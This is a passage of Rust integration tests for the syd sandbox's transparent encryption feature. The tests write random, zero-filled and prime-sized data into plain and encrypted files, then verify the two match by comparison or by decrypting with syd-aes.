fn test_syd_crypt_sandboxing_bsize_append_cmp_mild_copy() -> TestResult {
skip_unless_kernel_crypto_is_supported!();
skip_unless_available!("dd", "sh", "tee");
let key = key_gen_test().expect("key_gen_test");
let cwd = current_dir(false)?.display().to_string();
let status = syd()
.p("off")
.m(format!("crypt/key:{key}"))
.m(format!("crypt+{cwd}/*.crypt"))
.argv(["sh", "-cex"])
.arg(
r##"
dd if=/dev/random bs=1M count=5 status=none | tee ./test.plain > ./test.crypt
dd if=/dev/random bs=2M count=3 status=none | tee -a ./test.plain >> ./test.crypt
cmp test.plain test.crypt
"##,
)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_crypt_sandboxing_bsize_append_cmp_huge_copy_seq() -> TestResult {
skip_unless_kernel_crypto_is_supported!();
skip_unless_available!("dd", "sh", "tee");
let key = key_gen_test().expect("key_gen_test");
let cwd = current_dir(false)?.display().to_string();
let status = syd()
.p("off")
.m(format!("crypt/key:{key}"))
.m(format!("crypt+{cwd}/*.crypt"))
.argv(["sh", "-cex"])
.arg(
r##"
dd if=/dev/random bs=8M count=5 status=none | tee ./test.plain > ./test.crypt
dd if=/dev/random bs=16M count=3 status=none | tee -a ./test.plain >> ./test.crypt
cmp test.plain test.crypt
"##,
)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_crypt_sandboxing_bsize_append_cmp_huge_copy_mul() -> TestResult {
skip_unless_kernel_crypto_is_supported!();
skip_unless_available!("dd", "sh", "tee");
let key = key_gen_test().expect("key_gen_test");
let cwd = current_dir(false)?.display().to_string();
let status = syd()
.p("off")
.m(format!("crypt/key:{key}"))
.m(format!("crypt+{cwd}/*.crypt"))
.argv(["sh", "-cex"])
.arg(
r##"
dd if=/dev/random bs=8M count=5 status=none | tee ./test.plain > ./test.crypt
dd if=/dev/random bs=16M count=1 status=none | tee -a ./test.plain >> ./test.crypt
dd if=/dev/random bs=16M count=1 status=none | tee -a ./test.plain >> ./test.crypt
dd if=/dev/random bs=16M count=1 status=none | tee -a ./test.plain >> ./test.crypt
wait
cmp test.plain test.crypt
"##,
)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_crypt_sandboxing_append_cmp_rand_copy_seq() -> TestResult {
skip_unless_kernel_crypto_is_supported!();
skip_unless_available!("bash", "dd", "tee");
let key = key_gen_test().expect("key_gen_test");
let cwd = current_dir(false)?.display().to_string();
let status = syd()
.p("off")
.m(format!("crypt/key:{key}"))
.m(format!("crypt+{cwd}/*.crypt"))
.argv(["bash", "-cex"])
.arg(
r##"
# Simulates dd with random block sizes and count,
# with a maximum total size of 8MB.
dd_rand() {
# Generate random size between 1 and 128 (inclusive).
random_size=$((RANDOM % 128 + 1))
# Generate random count between 1 and 128 (adjust for desired max size)
# This ensures total size (count * block_size) won't exceed 8MB.
max_count=$((8 * 1024 * 1024 / random_size)) # Adjust divisor for different max size.
random_count=$((RANDOM % max_count + 1))
# Read from /dev/random with random size and count
dd if=/dev/random bs=$random_size count=$random_count status=none
}
dd_rand | tee ./test.plain > ./test.crypt
dd_rand | tee -a ./test.plain >> ./test.crypt
cmp test.plain test.crypt
"##,
)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_crypt_sandboxing_append_cmp_rand_copy_mul() -> TestResult {
skip_unless_kernel_crypto_is_supported!();
skip_unless_available!("bash", "dd", "tee");
let key = key_gen_test().expect("key_gen_test");
let cwd = current_dir(false)?.display().to_string();
let status = syd()
.p("off")
.m(format!("crypt/key:{key}"))
.m(format!("crypt+{cwd}/*.crypt"))
.argv(["bash", "-cex"])
.arg(
r##"
# Simulates dd with random block sizes and count,
# with a maximum total size of 8MB.
dd_rand() {
# Generate random size between 1 and 128 (inclusive).
random_size=$((RANDOM % 128 + 1))
# Generate random count between 1 and 128 (adjust for desired max size)
# This ensures total size (count * block_size) won't exceed 8MB.
max_count=$((8 * 1024 * 1024 / random_size)) # Adjust divisor for different max size.
random_count=$((RANDOM % max_count + 1))
# Read from /dev/random with random size and count
dd if=/dev/random bs=$random_size count=$random_count status=none
}
dd_rand | tee ./test.plain > ./test.crypt
dd_rand | tee -a ./test.plain >> ./test.crypt
dd_rand | tee -a ./test.plain >> ./test.crypt
dd_rand | tee -a ./test.plain >> ./test.crypt
cmp test.plain test.crypt
"##,
)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_crypt_sandboxing_append_cmp_fuzz_copy_seq() -> TestResult {
skip_unless_kernel_crypto_is_supported!();
skip_unless_available!("bash", "dd", "tee");
let key = key_gen_test().expect("key_gen_test");
let cwd = current_dir(false)?.display().to_string();
let status = syd()
.p("off")
.m(format!("crypt/key:{key}"))
.m(format!("crypt+{cwd}/*.crypt"))
.argv(["bash", "-cex"])
.arg(
r##"
# Simulates dd with random block sizes and count,
# with a maximum total size of 8MB.
dd_rand() {
# Generate random size between 1 and 128 (inclusive).
random_size=$((RANDOM % 128 + 1))
# Generate random count between 1 and 128 (adjust for desired max size)
# This ensures total size (count * block_size) won't exceed 8MB.
max_count=$((8 * 1024 * 1024 / random_size)) # Adjust divisor for different max size.
random_count=$((RANDOM % max_count + 1))
# Read from /dev/random with random size and count
dd if=/dev/random bs=$random_size count=$random_count status=none
}
dd_rand | tee ./test.plain > ./test.crypt
# Generate a random number between 3 and 7 (inclusive)
# for the number of iterations
num_iterations=$(( RANDOM % 5 + 3 ))
set +x
for (( i=0; i<$num_iterations; i++ )); do
dd_rand | tee -a ./test.plain >> ./test.crypt
done
set -x
cmp test.plain test.crypt
"##,
)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_crypt_sandboxing_append_cmp_fuzz_copy_mul() -> TestResult {
skip_unless_kernel_crypto_is_supported!();
skip_unless_available!("bash", "dd", "tee");
let key = key_gen_test().expect("key_gen_test");
let cwd = current_dir(false)?.display().to_string();
let status = syd()
.p("off")
.m(format!("crypt/key:{key}"))
.m(format!("crypt+{cwd}/*.crypt"))
.argv(["bash", "-cex"])
.arg(
r##"
# Simulates dd with random block sizes and count,
# with a maximum total size of 8MB.
dd_rand() {
# Generate random size between 1 and 128 (inclusive).
random_size=$((RANDOM % 128 + 1))
# Generate random count between 1 and 128 (adjust for desired max size)
# This ensures total size (count * block_size) won't exceed 8MB.
max_count=$((8 * 1024 * 1024 / random_size)) # Adjust divisor for different max size.
random_count=$((RANDOM % max_count + 1))
# Read from /dev/random with random size and count
dd if=/dev/random bs=$random_size count=$random_count status=none
}
dd_rand | tee ./test.plain > ./test.crypt
# Generate a random number between 3 and 7 (inclusive)
# for the number of iterations
num_iterations=$(( RANDOM % 5 + 3 ))
set +x
for (( i=0; i<$num_iterations; i++ )); do
dd_rand | tee -a ./test.plain >> ./test.crypt
done
set -x
cmp test.plain test.crypt
"##,
)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_crypt_sandboxing_append_cmp_zero_copy_seq() -> TestResult {
skip_unless_kernel_crypto_is_supported!();
skip_unless_available!("bash", "dd", "tee");
let key = key_gen_test().expect("key_gen_test");
let cwd = current_dir(false)?.display().to_string();
let status = syd()
.p("off")
.m(format!("crypt/key:{key}"))
.m(format!("crypt+{cwd}/*.crypt"))
.argv(["bash", "-cex"])
.arg(
r##"
# Simulates dd with random block sizes and count,
# with a maximum total size of 8MB.
dd_zero() {
# Generate random size between 1 and 128 (inclusive).
random_size=$((RANDOM % 128 + 1))
# Generate random count between 1 and 128 (adjust for desired max size)
# This ensures total size (count * block_size) won't exceed 8MB.
max_count=$((8 * 1024 * 1024 / random_size)) # Adjust divisor for different max size.
random_count=$((RANDOM % max_count + 1))
# Read from /dev/zero with random size and count
dd if=/dev/zero bs=$random_size count=$random_count status=none
}
dd_zero | tee ./test.plain > ./test.crypt
# Generate a random number between 3 and 7 (inclusive)
# for the number of iterations
num_iterations=$(( RANDOM % 5 + 3 ))
set +x
for (( i=0; i<$num_iterations; i++ )); do
dd_zero | tee -a ./test.plain >> ./test.crypt
done
set -x
cmp test.plain test.crypt
"##,
)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_crypt_sandboxing_append_cmp_zero_copy_mul() -> TestResult {
skip_unless_kernel_crypto_is_supported!();
skip_unless_available!("bash", "dd", "tee");
let key = key_gen_test().expect("key_gen_test");
let cwd = current_dir(false)?.display().to_string();
let status = syd()
.p("off")
.m(format!("crypt/key:{key}"))
.m(format!("crypt+{cwd}/*.crypt"))
.argv(["bash", "-cex"])
.arg(
r##"
# Simulates dd with random block sizes and count,
# with a maximum total size of 8MB.
dd_zero() {
# Generate random size between 1 and 128 (inclusive).
random_size=$((RANDOM % 128 + 1))
# Generate random count between 1 and 128 (adjust for desired max size)
# This ensures total size (count * block_size) won't exceed 8MB.
max_count=$((8 * 1024 * 1024 / random_size)) # Adjust divisor for different max size.
random_count=$((RANDOM % max_count + 1))
# Read from /dev/zero with random size and count
dd if=/dev/zero bs=$random_size count=$random_count status=none
}
dd_zero | tee ./test.plain > ./test.crypt
# Generate a random number between 3 and 7 (inclusive)
# for the number of iterations
num_iterations=$(( RANDOM % 5 + 3 ))
set +x
for (( i=0; i<$num_iterations; i++ )); do
dd_zero | tee -a ./test.plain >> ./test.crypt
done
set -x
cmp test.plain test.crypt
"##,
)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_crypt_sandboxing_bsize_append_aes_mild_copy() -> TestResult {
skip_unless_kernel_crypto_is_supported!();
skip_unless_available!("dd", "sh", "tee");
let key = key_gen_test().expect("key_gen_test");
let cwd = current_dir(false)?.display().to_string();
let status = syd()
.p("off")
.m(format!("crypt/key:{key}"))
.m(format!("crypt+{cwd}/*.crypt"))
.argv(["sh", "-cex"])
.arg(
r##"
dd if=/dev/random bs=1M count=5 status=none | tee ./test.plain > ./test.crypt
dd if=/dev/random bs=2M count=3 status=none | tee -a ./test.plain >> ./test.crypt
"##,
)
.status()
.expect("execute syd");
assert_status_ok!(status);
let syd_aes = &SYD_AES.to_string();
let syd_hex = &SYD_HEX.to_string();
let status = Command::new("sh")
.arg("-cex")
.arg(format!(
r##"
iv=$(dd if=test.crypt bs=1 skip=37 count=16 status=none | {syd_hex})
mv test.crypt test.syd
tail -c +54 test.syd > test.crypt
{syd_aes} -v -d -k{key} -i${{iv}} < ./test.crypt > ./test.decrypt
cmp test.plain test.decrypt
"##,
))
.status()
.expect("execute sh");
assert_status_ok!(status);
Ok(())
}
fn test_syd_crypt_sandboxing_bsize_append_aes_huge_copy_seq() -> TestResult {
skip_unless_kernel_crypto_is_supported!();
skip_unless_available!("dd", "sh", "tee");
let key = key_gen_test().expect("key_gen_test");
let cwd = current_dir(false)?.display().to_string();
let status = syd()
.p("off")
.m(format!("crypt/key:{key}"))
.m(format!("crypt+{cwd}/*.crypt"))
.argv(["sh", "-cex"])
.arg(
r##"
dd if=/dev/random bs=8M count=5 status=none | tee ./test.plain > ./test.crypt
dd if=/dev/random bs=16M count=3 status=none | tee -a ./test.plain >> ./test.crypt
"##,
)
.status()
.expect("execute syd");
assert_status_ok!(status);
let syd_aes = &SYD_AES.to_string();
let syd_hex = &SYD_HEX.to_string();
let status = Command::new("sh")
.arg("-cex")
.arg(format!(
r##"
iv=$(dd if=test.crypt bs=1 skip=37 count=16 status=none | {syd_hex})
mv test.crypt test.syd
tail -c +54 test.syd > test.crypt
{syd_aes} -v -d -k{key} -i${{iv}} < ./test.crypt > ./test.decrypt
cmp test.plain test.decrypt
"##,
))
.status()
.expect("execute sh");
assert_status_ok!(status);
Ok(())
}
fn test_syd_crypt_sandboxing_bsize_append_aes_huge_copy_mul() -> TestResult {
skip_unless_kernel_crypto_is_supported!();
skip_unless_available!("dd", "sh", "tee");
let key = key_gen_test().expect("key_gen_test");
let cwd = current_dir(false)?.display().to_string();
let status = syd()
.p("off")
.m(format!("crypt/key:{key}"))
.m(format!("crypt+{cwd}/*.crypt"))
.argv(["sh", "-cex"])
.arg(
r##"
dd if=/dev/random bs=8M count=5 status=none | tee ./test.plain > ./test.crypt
dd if=/dev/random bs=16M count=1 status=none | tee -a ./test.plain >> ./test.crypt
dd if=/dev/random bs=16M count=1 status=none | tee -a ./test.plain >> ./test.crypt
dd if=/dev/random bs=16M count=1 status=none | tee -a ./test.plain >> ./test.crypt
"##,
)
.status()
.expect("execute syd");
assert_status_ok!(status);
let syd_aes = &SYD_AES.to_string();
let syd_hex = &SYD_HEX.to_string();
let status = Command::new("sh")
.arg("-cex")
.arg(format!(
r##"
iv=$(dd if=test.crypt bs=1 skip=37 count=16 status=none | {syd_hex})
mv test.crypt test.syd
tail -c +54 test.syd > test.crypt
{syd_aes} -v -d -k{key} -i${{iv}} < ./test.crypt > ./test.decrypt
cmp test.plain test.decrypt
"##,
))
.status()
.expect("execute sh");
assert_status_ok!(status);
Ok(())
}
fn test_syd_crypt_sandboxing_append_aes_rand_copy_seq() -> TestResult {
skip_unless_kernel_crypto_is_supported!();
skip_unless_available!("bash", "dd", "tee");
let key = key_gen_test().expect("key_gen_test");
let cwd = current_dir(false)?.display().to_string();
let status = syd()
.p("off")
.m(format!("crypt/key:{key}"))
.m(format!("crypt+{cwd}/*.crypt"))
.argv(["bash", "-cex"])
.arg(
r##"
# Simulates dd with random block sizes and count,
# with a maximum total size of 8MB.
dd_rand() {
# Generate random size between 1 and 128 (inclusive).
random_size=$((RANDOM % 128 + 1))
# Generate random count between 1 and 128 (adjust for desired max size)
# This ensures total size (count * block_size) won't exceed 8MB.
max_count=$((8 * 1024 * 1024 / random_size)) # Adjust divisor for different max size.
random_count=$((RANDOM % max_count + 1))
# Read from /dev/random with random size and count
dd if=/dev/random bs=$random_size count=$random_count status=none
}
dd_rand | tee ./test.plain > ./test.crypt
dd_rand | tee -a ./test.plain >> ./test.crypt
"##,
)
.status()
.expect("execute syd");
assert_status_ok!(status);
let syd_aes = &SYD_AES.to_string();
let syd_hex = &SYD_HEX.to_string();
let status = Command::new("bash")
.arg("-cex")
.arg(format!(
r##"
iv=$(dd if=test.crypt bs=1 skip=37 count=16 status=none | {syd_hex})
mv test.crypt test.syd
tail -c +54 test.syd > test.crypt
{syd_aes} -v -d -k{key} -i${{iv}} < ./test.crypt > ./test.decrypt
cmp test.plain test.decrypt
"##,
))
.status()
.expect("execute sh");
assert_status_ok!(status);
Ok(())
}
fn test_syd_crypt_sandboxing_append_aes_rand_copy_mul() -> TestResult {
skip_unless_kernel_crypto_is_supported!();
skip_unless_available!("bash", "dd", "tee");
let key = key_gen_test().expect("key_gen_test");
let cwd = current_dir(false)?.display().to_string();
let status = syd()
.p("off")
.m(format!("crypt/key:{key}"))
.m(format!("crypt+{cwd}/*.crypt"))
.argv(["bash", "-cex"])
.arg(
r##"
# Simulates dd with random block sizes and count,
# with a maximum total size of 8MB.
dd_rand() {
# Generate random size between 1 and 128 (inclusive).
random_size=$((RANDOM % 128 + 1))
# Generate random count between 1 and 128 (adjust for desired max size)
# This ensures total size (count * block_size) won't exceed 8MB.
max_count=$((8 * 1024 * 1024 / random_size)) # Adjust divisor for different max size.
random_count=$((RANDOM % max_count + 1))
# Read from /dev/random with random size and count
dd if=/dev/random bs=$random_size count=$random_count status=none
}
dd_rand | tee ./test.plain > ./test.crypt
dd_rand | tee -a ./test.plain >> ./test.crypt
dd_rand | tee -a ./test.plain >> ./test.crypt
dd_rand | tee -a ./test.plain >> ./test.crypt
"##,
)
.status()
.expect("execute syd");
assert_status_ok!(status);
let syd_aes = &SYD_AES.to_string();
let syd_hex = &SYD_HEX.to_string();
let status = Command::new("bash")
.arg("-cex")
.arg(format!(
r##"
iv=$(dd if=test.crypt bs=1 skip=37 count=16 status=none | {syd_hex})
mv test.crypt test.syd
tail -c +54 test.syd > test.crypt
{syd_aes} -v -d -k{key} -i${{iv}} < ./test.crypt > ./test.decrypt
cmp test.plain test.decrypt
"##,
))
.status()
.expect("execute sh");
assert_status_ok!(status);
Ok(())
}
fn test_syd_crypt_sandboxing_append_aes_fuzz_copy_seq() -> TestResult {
skip_unless_kernel_crypto_is_supported!();
skip_unless_available!("bash", "dd", "tee");
let key = key_gen_test().expect("key_gen_test");
let cwd = current_dir(false)?.display().to_string();
let status = syd()
.p("off")
.m(format!("crypt/key:{key}"))
.m(format!("crypt+{cwd}/*.crypt"))
.argv(["bash", "-cex"])
.arg(
r##"
# Simulates dd with random block sizes and count,
# with a maximum total size of 8MB.
dd_rand() {
# Generate random size between 1 and 128 (inclusive).
random_size=$((RANDOM % 128 + 1))
# Generate random count between 1 and 128 (adjust for desired max size)
# This ensures total size (count * block_size) won't exceed 8MB.
max_count=$((8 * 1024 * 1024 / random_size)) # Adjust divisor for different max size.
random_count=$((RANDOM % max_count + 1))
# Read from /dev/random with random size and count
dd if=/dev/random bs=$random_size count=$random_count status=none
}
dd_rand | tee ./test.plain > ./test.crypt
# Generate a random number between 3 and 7 (inclusive)
# for the number of iterations
num_iterations=$(( RANDOM % 5 + 3 ))
set +x
for (( i=0; i<$num_iterations; i++ )); do
dd_rand | tee -a ./test.plain >> ./test.crypt
done
"##,
)
.status()
.expect("execute syd");
assert_status_ok!(status);
let syd_aes = &SYD_AES.to_string();
let syd_hex = &SYD_HEX.to_string();
let status = Command::new("bash")
.arg("-cex")
.arg(format!(
r##"
iv=$(dd if=test.crypt bs=1 skip=37 count=16 status=none | {syd_hex})
mv test.crypt test.syd
tail -c +54 test.syd > test.crypt
{syd_aes} -v -d -k{key} -i${{iv}} < ./test.crypt > ./test.decrypt
cmp test.plain test.decrypt
"##,
))
.status()
.expect("execute sh");
assert_status_ok!(status);
Ok(())
}
fn test_syd_crypt_sandboxing_append_aes_fuzz_copy_mul() -> TestResult {
skip_unless_kernel_crypto_is_supported!();
skip_unless_available!("bash", "dd", "tee");
let key = key_gen_test().expect("key_gen_test");
let cwd = current_dir(false)?.display().to_string();
let status = syd()
.p("off")
.m(format!("crypt/key:{key}"))
.m(format!("crypt+{cwd}/*.crypt"))
.argv(["bash", "-cex"])
.arg(
r##"
# Simulates dd with random block sizes and count,
# with a maximum total size of 8MB.
dd_rand() {
# Generate random size between 1 and 128 (inclusive).
random_size=$((RANDOM % 128 + 1))
# Generate random count between 1 and 128 (adjust for desired max size)
# This ensures total size (count * block_size) won't exceed 8MB.
max_count=$((8 * 1024 * 1024 / random_size)) # Adjust divisor for different max size.
random_count=$((RANDOM % max_count + 1))
# Read from /dev/random with random size and count
dd if=/dev/random bs=$random_size count=$random_count status=none
}
dd_rand | tee ./test.plain > ./test.crypt
# Generate a random number between 3 and 7 (inclusive)
# for the number of iterations
num_iterations=$(( RANDOM % 5 + 3 ))
set +x
for (( i=0; i<$num_iterations; i++ )); do
dd_rand | tee -a ./test.plain >> ./test.crypt
done
set -x
"##,
)
.status()
.expect("execute syd");
assert_status_ok!(status);
let syd_aes = &SYD_AES.to_string();
let syd_hex = &SYD_HEX.to_string();
let status = Command::new("bash")
.arg("-cex")
.arg(format!(
r##"
iv=$(dd if=test.crypt bs=1 skip=37 count=16 status=none | {syd_hex})
mv test.crypt test.syd
tail -c +54 test.syd > test.crypt
{syd_aes} -v -d -k{key} -i${{iv}} < ./test.crypt > ./test.decrypt
cmp test.plain test.decrypt
"##,
))
.status()
.expect("execute sh");
assert_status_ok!(status);
Ok(())
}
fn test_syd_crypt_sandboxing_append_aes_zero_copy_seq() -> TestResult {
skip_unless_kernel_crypto_is_supported!();
skip_unless_available!("bash", "dd", "tee");
let key = key_gen_test().expect("key_gen_test");
let cwd = current_dir(false)?.display().to_string();
let status = syd()
.p("off")
.m(format!("crypt/key:{key}"))
.m(format!("crypt+{cwd}/*.crypt"))
.argv(["bash", "-cex"])
.arg(
r##"
# Simulates dd with random block sizes and count,
# with a maximum total size of 8MB.
dd_zero() {
# Generate random size between 1 and 128 (inclusive).
random_size=$((RANDOM % 128 + 1))
# Generate random count between 1 and 128 (adjust for desired max size)
# This ensures total size (count * block_size) won't exceed 8MB.
max_count=$((8 * 1024 * 1024 / random_size)) # Adjust divisor for different max size.
random_count=$((RANDOM % max_count + 1))
# Read from /dev/zero with random size and count
dd if=/dev/zero bs=$random_size count=$random_count status=none
}
dd_zero | tee ./test.plain > ./test.crypt
# Generate a random number between 3 and 7 (inclusive)
# for the number of iterations
num_iterations=$(( RANDOM % 5 + 3 ))
set +x
for (( i=0; i<$num_iterations; i++ )); do
dd_zero | tee -a ./test.plain >> ./test.crypt
done
"##,
)
.status()
.expect("execute syd");
assert_status_ok!(status);
let syd_aes = &SYD_AES.to_string();
let syd_hex = &SYD_HEX.to_string();
let status = Command::new("bash")
.arg("-cex")
.arg(format!(
r##"
iv=$(dd if=test.crypt bs=1 skip=37 count=16 status=none | {syd_hex})
mv test.crypt test.syd
tail -c +54 test.syd > test.crypt
{syd_aes} -v -d -k{key} -i${{iv}} < ./test.crypt > ./test.decrypt
cmp test.plain test.decrypt
"##,
))
.status()
.expect("execute sh");
assert_status_ok!(status);
Ok(())
}
fn test_syd_crypt_sandboxing_append_aes_zero_copy_mul() -> TestResult {
skip_unless_kernel_crypto_is_supported!();
skip_unless_available!("bash", "dd", "tee");
let key = key_gen_test().expect("key_gen_test");
let cwd = current_dir(false)?.display().to_string();
let status = syd()
.p("off")
.m(format!("crypt/key:{key}"))
.m(format!("crypt+{cwd}/*.crypt"))
.argv(["bash", "-cex"])
.arg(
r##"
# Simulates dd with random block sizes and count,
# with a maximum total size of 8MB.
dd_zero() {
# Generate random size between 1 and 128 (inclusive).
random_size=$((RANDOM % 128 + 1))
# Generate random count between 1 and 128 (adjust for desired max size)
# This ensures total size (count * block_size) won't exceed 8MB.
max_count=$((8 * 1024 * 1024 / random_size)) # Adjust divisor for different max size.
random_count=$((RANDOM % max_count + 1))
# Read from /dev/zero with random size and count
dd if=/dev/zero bs=$random_size count=$random_count status=none
}
dd_zero | tee ./test.plain > ./test.crypt
# Generate a random number between 3 and 7 (inclusive)
# for the number of iterations
num_iterations=$(( RANDOM % 5 + 3 ))
set +x
for (( i=0; i<$num_iterations; i++ )); do
dd_zero | tee -a ./test.plain >> ./test.crypt
done
set -x
"##,
)
.status()
.expect("execute syd");
assert_status_ok!(status);
let syd_aes = &SYD_AES.to_string();
let syd_hex = &SYD_HEX.to_string();
let status = Command::new("bash")
.arg("-cex")
.arg(format!(
r##"
iv=$(dd if=test.crypt bs=1 skip=37 count=16 status=none | {syd_hex})
mv test.crypt test.syd
tail -c +54 test.syd > test.crypt
{syd_aes} -v -d -k{key} -i${{iv}} < ./test.crypt > ./test.decrypt
cmp test.plain test.decrypt
"##,
))
.status()
.expect("execute sh");
assert_status_ok!(status);
Ok(())
}
fn test_syd_crypt_sandboxing_prime_single_cmp_mild_copy() -> TestResult {
skip_unless_kernel_crypto_is_supported!();
skip_unless_available!("dd", "sh", "tee");
let key = key_gen_test().expect("key_gen_test");
let cwd = current_dir(false)?.display().to_string();
let status = syd()
.p("off")
.m(format!("crypt/key:{key}"))
.m(format!("crypt+{cwd}/*.crypt"))
.argv(["sh", "-cex"])
.arg(
r##"
dd if=/dev/random bs=1048573 count=5 status=none | tee ./test.plain > ./test.crypt
cmp test.plain test.crypt
"##,
)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_crypt_sandboxing_prime_single_cmp_huge_copy() -> TestResult {
skip_unless_kernel_crypto_is_supported!();
skip_unless_available!("dd", "sh", "tee");
let key = key_gen_test().expect("key_gen_test");
let cwd = current_dir(false)?.display().to_string();
let status = syd()
.p("off")
.m(format!("crypt/key:{key}"))
.m(format!("crypt+{cwd}/*.crypt"))
.argv(["sh", "-cex"])
.arg(
r##"
dd if=/dev/random bs=7999993 count=5 status=none | tee ./test.plain > ./test.crypt
cmp test.plain test.crypt
"##,
)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_crypt_sandboxing_prime_single_aes_mild_copy() -> TestResult {
skip_unless_kernel_crypto_is_supported!();
skip_unless_available!("dd", "sh", "tee");
let key = key_gen_test().expect("key_gen_test");
let cwd = current_dir(false)?.display().to_string();
let status = syd()
.p("off")
.m(format!("crypt/key:{key}"))
.m(format!("crypt+{cwd}/*.crypt"))
.argv(["sh", "-cex"])
.arg(
r##"
dd if=/dev/random bs=1048573 count=5 status=none | tee ./test.plain > ./test.crypt
"##,
)
.status()
.expect("execute syd");
assert_status_ok!(status);
let syd_aes = &SYD_AES.to_string();
let syd_hex = &SYD_HEX.to_string();
let status = Command::new("sh")
.arg("-cex")
.arg(format!(
r##"
iv=$(dd if=test.crypt bs=1 skip=37 count=16 status=none | {syd_hex})
mv test.crypt test.syd
tail -c +54 test.syd > test.crypt
{syd_aes} -v -d -k{key} -i${{iv}} < ./test.crypt > ./test.decrypt
cmp test.plain test.decrypt
"##,
))
.status()
.expect("execute sh");
assert_status_ok!(status);
Ok(())
}
fn test_syd_crypt_sandboxing_prime_single_aes_huge_copy() -> TestResult {
skip_unless_kernel_crypto_is_supported!();
skip_unless_available!("dd", "sh", "tee");
let key = key_gen_test().expect("key_gen_test");
let cwd = current_dir(false)?.display().to_string();
let status = syd()
.p("off")
.m(format!("crypt/key:{key}"))
.m(format!("crypt+{cwd}/*.crypt"))
.argv(["sh", "-cex"])
.arg(
r##"
dd if=/dev/random bs=7999993 count=5 status=none | tee ./test.plain > ./test.crypt
"##,
)
.status()
.expect("execute syd");
assert_status_ok!(status);
let syd_aes = &SYD_AES.to_string();
let syd_hex = &SYD_HEX.to_string();
let status = Command::new("sh")
.arg("-cex")
.arg(format!(
r##"
iv=$(dd if=test.crypt bs=1 skip=37 count=16 status=none | {syd_hex})
mv test.crypt test.syd
tail -c +54 test.syd > test.crypt
{syd_aes} -v -d -k{key} -i${{iv}} < ./test.crypt > ./test.decrypt
cmp test.plain test.decrypt
"##,
))
.status()
.expect("execute sh");
assert_status_ok!(status);
Ok(())
}
fn test_syd_crypt_sandboxing_prime_append_cmp_mild_copy() -> TestResult {
skip_unless_kernel_crypto_is_supported!();
skip_unless_available!("dd", "sh", "tee");
let key = key_gen_test().expect("key_gen_test");
let cwd = current_dir(false)?.display().to_string();
let status = syd()
.p("off")
.m(format!("crypt/key:{key}"))
.m(format!("crypt+{cwd}/*.crypt"))
.argv(["sh", "-cex"])
.arg(
r##"
dd if=/dev/random bs=1048573 count=5 status=none | tee ./test.plain > ./test.crypt
dd if=/dev/random bs=2097169 count=3 status=none | tee -a ./test.plain >> ./test.crypt
cmp test.plain test.crypt
"##,
)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_crypt_sandboxing_sieve_append_cmp_mild_copy_seq() -> TestResult {
skip_unless_kernel_crypto_is_supported!();
skip_unless_available!("bash", "dd", "python3", "tee");
let key = key_gen_test().expect("key_gen_test");
let cwd = current_dir(false)?.display().to_string();
let status = syd()
.p("off")
.m(format!("crypt/key:{key}"))
.m(format!("crypt+{cwd}/*.crypt"))
.argv(["bash", "-cex"])
.arg(
r##"
cat >primegen.py <<'EOF'
def primegen(limit):
from math import sqrt
primes = [2]
for num in range(3, limit, 2):
is_prime = True
square_root = int(sqrt(num))
for prime in primes:
if num % prime == 0:
is_prime = False
break
if prime > square_root:
break
if is_prime:
yield num
for num in primegen(2 * 128):
print(num)
EOF
python3 primegen.py > primes.lst
dd if=/dev/null status=none | tee ./test.plain > ./test.crypt
set +x
while read -r -d$'\n' num; do
dd if=/dev/random bs=$num count=7 status=none | tee -a ./test.plain >> ./test.crypt
done < primes.lst
set -x
cmp test.plain test.crypt
"##,
)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_crypt_sandboxing_sieve_append_cmp_mild_copy_mul() -> TestResult {
skip_unless_kernel_crypto_is_supported!();
skip_unless_available!("awk", "bash", "dd", "python3", "split", "tee", "wc");
let key = key_gen_test().expect("key_gen_test");
let cwd = current_dir(false)?.display().to_string();
let syd_cpu = &SYD_CPU.to_string();
let status = syd()
.p("off")
.m(format!("crypt/key:{key}"))
.m(format!("crypt+{cwd}/*.crypt"))
.argv(["bash", "-cex"])
.arg(format!(
r##"
cat >primegen.py <<'EOF'
def primegen(limit):
from math import sqrt
primes = [2]
for num in range(3, limit, 2):
is_prime = True
square_root = int(sqrt(num))
for prime in primes:
if num % prime == 0:
is_prime = False
break
if prime > square_root:
break
if is_prime:
yield num
for num in primegen(2 * 128):
print(num)
EOF
python3 primegen.py > primes.lst
split -l $(( $(wc -l primes.lst | awk '{{print $1}}') / $({syd_cpu}) + 1 )) primes.lst prime-split-
dd if=/dev/null status=none | tee ./test.plain > ./test.crypt
set +x
for f in prime-split-*; do
while read -r -d$'\n' num; do
dd if=/dev/random bs=$num count=7 status=none | tee -a ./test.plain >> ./test.crypt
done < "$f"
done
set -x
cmp test.plain test.crypt
"##,
))
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_crypt_sandboxing_sieve_append_cmp_huge_copy_seq() -> TestResult {
skip_unless_kernel_crypto_is_supported!();
skip_unless_available!("bash", "dd", "python3", "tee");
let key = key_gen_test().expect("key_gen_test");
let cwd = current_dir(false)?.display().to_string();
let status = syd()
.p("off")
.m(format!("crypt/key:{key}"))
.m(format!("crypt+{cwd}/*.crypt"))
.argv(["bash", "-cex"])
.arg(
r##"
cat >primegen.py <<'EOF'
def primegen(limit):
from math import sqrt
primes = [2]
for num in range(3, limit, 2):
is_prime = True
square_root = int(sqrt(num))
for prime in primes:
if num % prime == 0:
is_prime = False
break
if prime > square_root:
break
if is_prime:
yield num
for num in primegen(4 * 128):
print(num)
EOF
python3 primegen.py > primes.lst
dd if=/dev/null status=none | tee ./test.plain > ./test.crypt
set +x
while read -r -d$'\n' num; do
